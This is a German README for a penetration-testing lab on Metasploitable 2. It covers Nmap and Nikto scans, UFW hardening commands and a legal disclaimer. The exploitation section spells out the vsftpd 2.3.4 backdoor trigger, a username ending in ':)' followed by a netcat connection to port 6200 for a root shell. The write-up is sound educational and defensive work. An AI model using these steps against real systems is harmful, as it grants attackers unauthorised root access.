📋 Überblick

Dieses Labor simuliert einen realen Penetrationstest und eine defensive Härtungsübung in einer vollständig isolierten virtuellen Umgebung. Es demonstriert den gesamten offensiven Sicherheitslebenszyklus – von der Aufklärung bis zur Ausbeutung – und die defensiven Kontrollen, die jedes Risiko mindern würden.

Wichtigstes Ergebnis: Vollständiger Root-Zugriff auf dem Zielrechner in unter 60 Sekunden durch Ausnutzung einer bekannten Hintertür, ohne Anmeldedaten und ohne spezielle Werkzeuge.

🏗 Laborumgebung

🎯 Methodik

Reconnaissance  →  Scanning  →  Exploitation  →  Defense & Hardening

🔍 Phase 1 – Aufklärung

Port-Scanning mit Nmap

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

Wichtigste Ergebnisse – insgesamt 23 offene Ports:

Web-Scanning mit Nikto

nikto -h http://192.168.148.130 -o nikto_before.txt

18 Schwachstellen gefunden, darunter:

• phpMyAdmin öffentlich freigelegt
• phpinfo.php gibt vollständige Serverkonfiguration preis
• HTTP TRACE aktiviert (XST-Angriffe)
• Verzeichnis-Indizierung aktiviert auf /doc/, /test/
• Veralteter Apache 2.2.8 und PHP 5.2.4

💥 Phase 2 – Ausbeutung

CVE-2011-2523 – vsftpd 2.3.4 Hintertür

vsftpd 2.3.4 enthält eine Hintertür, die durch einen Kompromiss in der Lieferkette eingeführt wurde. Das Senden eines Benutzernamens, der auf :) endet, veranlasst den Server, eine Root-Shell auf Port 6200 zu öffnen.

# Step 1 — Trigger the backdoor via FTP
ftp 192.168.148.130
# Username: backdoor:)   Password: anything

# Step 2 — Connect to the spawned shell
nc 192.168.148.130 6200

# Step 3 — Verify access
whoami
# → root

Ergebnis: Vollständiger Root-Zugriff auf das System in < 60 Sekunden erreicht – keine Anmeldedaten, kein Exploit-Framework erforderlich.

Auswirkung: Ein Angreifer mit Root-Zugriff kann jede Datei lesen/ändern/löschen, Malware installieren, Daten exfiltrieren oder zu anderen Hosts im Netzwerk wechseln.

🛡 Phase 3 – Verteidigung und Härtung

UFW-Firewall – Standard-Verweigerungsrichtlinie

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSH only
sudo ufw status verbose

Empfohlene Abhilfemaßnahmen

📄 Vollständiger Bericht

Siehe report.md für die vollständige Bewertung – vollständige Methodik, Befehlsausgaben, Ergebnistabelle, Ausbeutungsschritte und alle Abhilfeempfehlungen.

⚠️ Rechtlicher Hinweis

Dieses Labor wurde in einer vollständig isolierten virtuellen Umgebung mit absichtlich anfälliger Software (Metasploitable 2) durchgeführt. Alle Techniken dienen nur zu Bildungs- und Portfoliozwecken. Nicht auf Systemen replizieren, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.

🛠 Verwendete Werkzeuge